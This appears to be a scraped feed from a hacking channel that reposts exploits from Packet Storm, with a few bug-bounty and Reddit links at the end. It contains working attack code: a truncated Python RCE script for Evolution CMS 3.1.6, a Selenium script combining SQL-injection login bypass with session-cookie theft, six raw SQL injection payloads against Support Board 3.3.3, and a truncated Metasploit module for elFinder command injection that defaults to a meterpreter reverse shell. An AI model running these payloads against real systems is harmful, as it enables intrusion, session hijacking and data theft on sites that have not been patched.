Exploit Collector
Evolution CMS 3.1.6 Remote Code Execution


https://4.bp.blogspot.com/-1sVwQJsRVpo/WWlvgaUDftI/AAAAAAAAIQM/9m_QfduSdAQi14Fs6kLQe2-YLO5Bx1iKQCLcBGAs/s1600/h87.png
Evolution CMS version 3.1.6 authenticated remote code execution exploit.

MD5 | 64efd7eabcd6619812539f02dfbb1c8a

Download
# Exploit Title: Evolution CMS 3.1.6 - Remote Code Execution (RCE) (Authenticated)
# Date: 15-09-2021
# Exploit Author: Halit AKAYDIN (hLtAkydn)
# Vendor Homepage: https://evo.im/
# Software Link: https://github.com/evolution-cms/evolution/releases
# Version: 3.1.6
# Category: Webapps
# Tested on: Linux/Windows
# Example: python3 exploit.py -u http://example.com -l admin -p Admin123
# python3 exploit.py -h
from bs4 import BeautifulSoup
from time import sleep
import requests
import argparse
import sys

def main():
parser = argparse.ArgumentParser(description='Evolution CMS 3.1.6 - Remote Code Execution (RCE) (Authenticated)')
parser.add_argument('-u', '--host', type=str, required=True)
parser.add_argument('-l', '--login', type=str, required=True)
parser.add_argument('-p', '--password', type=str, required=True)
args = parser.parse_args()
print("\nEvolution CMS 3.1.6 - Remote Code Execution (RCE) (Authenticated)",
"\nExploit Author: Halit AKAYDIN (hLtAkydn)\n")
sleep(2)
exploit(args)

def exploit(args):

#Check http or https
if args.host.startswith(('http://', 'https://')):
print("[?] Check Url...\n")
args.host = args.host
if args.host.endswith('/'):
args.host = args.host[:-1]
sleep(2)
else:
print("\n[?] Check Adress...\n")
args.host = "http://" + args.host
args.host = args.host
if args.host.endswith('/'):
args.host = args.host[:-1]
sleep(2)

# Check Host Status
try:
response = requests.get(args.host)
if response.status_code != 200:
print("[-] Address not reachable!")
sleep(2)
exit(1)

except requests.ConnectionError as exception:
print("[-] Address not reachable!")
sleep(2)
exit(1)
# Login and cookie set
session = requests.session()
url = args.host + "/manager/?a=0"
cookies = {
"mybb[lastvisit]": "1631537273",
"loginattempts": "1",
"mybb[lastactive]": "1631537588",
"mybbuser": "2_IFsbw9XQFguv1DM0ygBdbkeg3v0zmQPpW6it5MjHev7gz3nkNn",
"evo_session": "Kp9j1QushJrXYwhHiHS1dqntLiTnTiBQ25ZUDndq",
"KCFINDER_showname": "on",
"KCFINDER_showsize": "off",
"KCFINDER_showtime": "off",
"KCFINDER_order": "name",
"KCFINDER_orderDesc": "off",
"KCFINDER_view": "thumbs",
"KCFINDER_displaySettings": "off",
"evoq28fzr": "o0hd9im6q76pptjcsjeaa693os"
}

headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101 Firefox/77.0",
"Content-Type": "application/x-www-form-urlencoded;",
"Accept": "*/*",
"Origin": args.host,
"Referer": args.host + "/manager/",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "en-US,en;q=0.9",[...]

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
AHSS-PHP 1.0 Cross Site Scripting / SQL Injection


https://3.bp.blogspot.com/-00fiGlDHfKo/WWlvZ5odqlI/AAAAAAAAIO4/nnZp17OtkHAWqiO0pbFBQSys2U4_yu8pACLcBGAs/s1600/h7.png
AHSS-PHP version 1.0 suffers from cross site scripting and remote SQL injection vulnerabilities.

MD5 | 00674176fa93d01b22d17bb2c4952741

Download
### Exploit Title: AHSS-PHP (by: oretnom23 ) v1.0 is vulnerable in the application /scheduler/classes/Login.php to remote SQL-Injection-Bypass-Authentication + XSS-Stored Hijacking PHPSESSID
### Author: nu11secur1ty
### Testing and Debugging: nu11secur1ty
### Date: 09.15.2021
### Vendor: https://www.sourcecodester.com/user/257130/activity
### Link:
https://www.sourcecodester.com/php/14902/simple-assembly-hall-scheduling-system-php-free-source-code.html
### CVE: CVE-nu11-11

[+] Exploit Source:

#!/usr/bin/python3
# Author: @nu11secur1ty
# Debug and Developement: @nu11secur1ty
# CVE-nu11-11-09152021

from selenium import webdriver
import time
import os
from colorama import init, Fore, Back, Style
init(convert=True)
import requests
#enter the link to the website you want to automate login.
website_link="http://localhost/scheduler/admin/login.php"

#enter your login username
username="nu11secur1ty' or 1=1#"

#enter your login password
password="nu11secur1ty' or 1=1#"

#enter the element for username input field
element_for_username="username"
#enter the element for password input field
element_for_password="password"

browser = webdriver.Chrome()
browser.get((website_link))

try:
username_element = browser.find_element_by_name(element_for_username)
username_element.send_keys(username)
password_element = browser.find_element_by_name(element_for_password)
password_element.send_keys(password)
browser.maximize_window()
time.sleep(1)
browser.execute_script("document.querySelector('[class=\"btn btn-primary
btn-block\"]').click()")

time.sleep(1)
exploit_link="
http://localhost/scheduler/admin/?page=assembly_hall/manage_assembly"
browser.get((exploit_link))

browser.execute_script("document.querySelector('[name=\"room_name\"]').value=\"\"")
browser.execute_script("document.querySelector('[name=\"location\"]').value=\"\"")
browser.execute_script("document.querySelector('[name=\"description\"]').value=\"\"")
time.sleep(1)
browser.execute_script("document.querySelector('[class=\"btn btn-flat
btn-primary\"]').click()")

coockie=browser.execute_script("return document.cookie")
coockie=coockie.split("=")[1]
print(coockie)
browser.close()

time.sleep(3)
os.system("python PWNPHPSESSID.py " + coockie)

print(Fore.GREEN +"The payload for CVE-nu11-11 is deployed...\n")
print(Style.RESET_ALL)

except Exception:
#### This exception occurs if the element are not found in the webpage.
print("Some error occured :(")
------------------------------------------------------------------

### Description:
The AHSS-PHP (by: oretnom23 ) v1.0 is vulnerable in the a[...]

___________________________
@hacking_Attack
@Hacking_Video

Exploit CollectorSupport Board 3.3.3 SQL Injection


Support Board version 3.3.3 suffers from a remote SQL injection vulnerability.

MD5 | 2522a4c70f34263689e5aca25398a9e4

Download



# Exploit Title: Support Board 3.3.3 - 'Multiple' SQL Injection (Unauthenticated)
# Date: 29.08.2021
# Exploit Author: John Jefferson Li
# Vendor Homepage: https://board.support/
# Software Link: https://codecanyon.net/item/support-board-help-desk-and-chat/20359943
# Version: 3.3.3
# Tested on: Ubuntu 20.04.2 LTS

----- PoC 1: Error Based SQLi (status_code) -----

Request

POST /wp-content/plugins/supportboard/supportboard/include/ajax.php HTTP/1.1
Vulnerable Parameter: status_code (POST)

function=new-conversation&status_code=2"+AND+EXTRACTVALUE(4597,CONCAT("","DB+Name:+",(SELECT+(ELT(4597=4597,""))),database()))+AND+"fKoo"="fKoo&title=&department=&agent_id=&routing=false&login-cookie=&user_id=46&language=false


----- PoC 2: Error Based SQLi (department)-----

Request

POST /wp-content/plugins/supportboard/supportboard/include/ajax.php HTTP/1.1
Vulnerable Parameter: department (POST)

function=new-conversation&status_code=2o&title=&department=(UPDATEXML(5632,CONCAT(0x2e,"Database+Name:+",(SELECT+(ELT(5632=5632,""))),database()),3004))&agent_id=&routing=false&login-cookie=&user_id=46&language=false


----- PoC 3: Error Based SQLi (user_id) -----

Request

POST /wp-content/plugins/supportboard/supportboard/include/ajax.php HTTP/1.1
Vulnerable Parameter: user_id (POST)

function=send-message&user_id=-5"+AND+GTID_SUBSET(CONCAT("Database+Name:+",(SELECT+(ELT(3919=3919,""))),database()),3919)+AND+"wrOJ"="wrOJ&conversation_id=35&message=TEST+POC&conversation_status_code=false&queue=false&payload=false&recipient_id=false&login-cookie=&language=false


----- PoC 4: Time Based SQLi (conversation_id)-----

Request

POST /wp-content/plugins/supportboard/supportboard/include/ajax.php HTTP/1.1
Vulnerable Parameter: conversation_id (POST)

function=send-message&user_id=5&conversation_id=45"+AND+(SELECT 1479+FROM+(SELECT(SLEEP(5)))xttx)--+BOXv&message=test+&conversation_status_code=false&queue=false&payload=false&recipient_id=false&login-cookie=&language=false


----- PoC 5: Time Based SQLi (conversation_status_code)-----

Request

POST /wp-content/plugins/supportboard/supportboard/include/ajax.php HTTP/1.1
Vulnerable Parameter: conversation_status_code (POST)

function=send-message&user_id=5&conversation_id=45&message=test+&conversation_status_code=false+WHERE+9793=9793+AND+(SELECT+4500+FROM+(SELECT(SLEEP(5)))oJCl)--+uAGp&queue=false&payload=false&recipient_id=false&login-cookie=&language=false


----- PoC 6: Time Based SQLi (recipient_id)-----

Request

POST /wp-content/plugins/supportboard/supportboard/include/ajax.php HTTP/1.1
Vulnerable Parameter: recipient_id (POST)

function=send-message&user_id=5&conversation_id=45&message=test+&conversation_status_code=false&queue=false&payload=false&recipient_id=false+AND+(SELECT+7416+FROM+(SELECT(SLEEP(5)))eBhm)&login-cookie=&language=false



Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
elFinder Archive Command Injection


https://2.bp.blogspot.com/-ulQQD3v8DYI/WWlvnLww_dI/AAAAAAAAIRM/ialO7Idq8vAmWKoyuXUdK7x44tFKJsnBwCLcBGAs/s1600/hack_img4.png
elFinder versions below 2.1.59 are vulnerable to a command injection vulnerability via its archive functionality. When creating a new zip archive, the name parameter is sanitized with the escapeshellarg() php function and then passed to the zip utility. Despite the sanitization, supplying the -TmTT argument as part of the name parameter is still permitted and enables the execution of arbitrary commands as the www-data user.

MD5 | 748ee7b37719159b8db8d6bf33aad64b

Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
include Msf::Exploit::CmdStager

def initialize(info = {})
super(
update_info(
info,
'Name' => 'elFinder Archive Command Injection',
'Description' => %q{
elFinder versions below 2.1.59 are vulnerable to a command injection
vulnerability via its archive functionality.

When creating a new zip archive, the `name` parameter is sanitized
with the `escapeshellarg()` php function and then passed to the
`zip` utility. Despite the sanitization, supplying the `-TmTT`
argument as part of the `name` parameter is still permitted and
enables the execution of arbitrary commands as the `www-data` user.
},
'License' => MSF_LICENSE,
'Author' => [
'Thomas Chauchefoin', # Discovery
'Shelby Pace' # Metasploit module
],
'References' => [
[ 'CVE', '2021-32682' ],
[ 'URL', 'https://blog.sonarsource.com/elfinder-case-study-of-web-file-manager-vulnerabilities' ]
],
'Platform' => [ 'linux' ],
'Privileged' => false,
'Arch' => [ ARCH_X86, ARCH_X64 ],
'Targets' => [
[
'Automatic Target',
{
'Platform' => 'linux',
'Arch' => [ ARCH_X86, ARCH_X64 ],
'CmdStagerFlavor' => [ 'wget' ],
'DefaultOptions' => { 'Payload' => 'linux/x86/meterpreter/reverse_tcp' }
}
]
],
'DisclosureDate' => '2021-06-13',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'Reliability' => [ REPEATABLE_SESSION ],
'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK ]
}
)
)

register_options([ OptString.new('TARGETURI', [ true, 'The URI of elFinder', '/' ]) ])
end

def check
res = send_request_cgi(
'method' => 'GET',
'uri' => upload_uri
)

return CheckCode::Unknown('Failed to retrieve a response') unless res
re[...]

___________________________
@hacking_Attack
@Hacking_Video

Sending malicious link via HackerOne
https://medium.com/@bruzistico/sending-malicious-link-via-hackerone-c7e968b12715?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

I recently submitted a report to the HackerOne programContinue reading on Medium » (https://medium.com/@bruzistico/sending-malicious-link-via-hackerone-c7e968b12715?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Introducing Immunefi’s Luxury Hoodies
https://medium.com/immunefi/introducing-immunefis-luxury-hoodies-f9f9286520c7?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Immunefi, the leading bug bounty platform with the world’s largest bounties, has launched its first luxury hoodie for hackers who find…Continue reading on Immunefi » (https://medium.com/immunefi/introducing-immunefis-luxury-hoodies-f9f9286520c7?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Pivoting and portforwarding with Metasploit
https://www.reddit.com/r/Pentesting/comments/poulb6/pivoting_and_portforwarding_with_metasploit/

I a pentesting assignment have 3 networks, which I can access only by pivoting, the routes are configured properly since I can run nmap scans from my attacker machine to the third subnet using a socks4a proxy provided by metasploit. I found a vulnerability on a machine in the third subnet and I'm trying different payloads, starting with bind now moving to reverse tcp, which will not work since it needs to be forwarded. But when I use portfwd and configure my attackers ip with -L it will be displayed as the remote ip and vice versa for the remote one. Any suggestions on this and how to configure this right ? submitted by /u/c0nr3f (https://www.reddit.com/user/c0nr3f)
[link] (https://www.reddit.com/r/Pentesting/comments/poulb6/pivoting_and_portforwarding_with_metasploit/) [comments] (https://www.reddit.com/r/Pentesting/comments/poulb6/pivoting_and_portforwarding_with_metasploit/)

___________________________
@hacking_Attack
@Hacking_Video

https://b.thumbs.redditmedia.com/ZSSzjU5c2o_X2mvoU2SJ3q081TCGMzyJITjxZqewR9g.jpg So, I've got this today.

Started reading it months ago but didn't want to keep reading it on my phone so I finally bought it.
What I've read until now made me feel really excited to work on this branch.

What about you, fellow redditors? Have you already read this? If so, what did you think? Did you learn anything? Did it improve your mindset? Tell me everything.

​

https://preview.redd.it/o95spfugeon71.jpg?width=3472&format=pjpg&auto=webp&s=1d59e99310d15db4bb815fcd581d1d1ac13bd3cb

submitted by /u/uncannylilbastard
[link] [comments]

hacking: security in practice
The Value of Screwing Around at Work

https://external-preview.redd.it/2a3ZibWw79knQr5FIXMhQd8tS7zymKY5OFs6LvuuonM.jpg?width=640&crop=smart&auto=webp&s=b96f6850f589a825c6248b23e6d3ac166d3ac823 submitted by /u/mad_ned
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video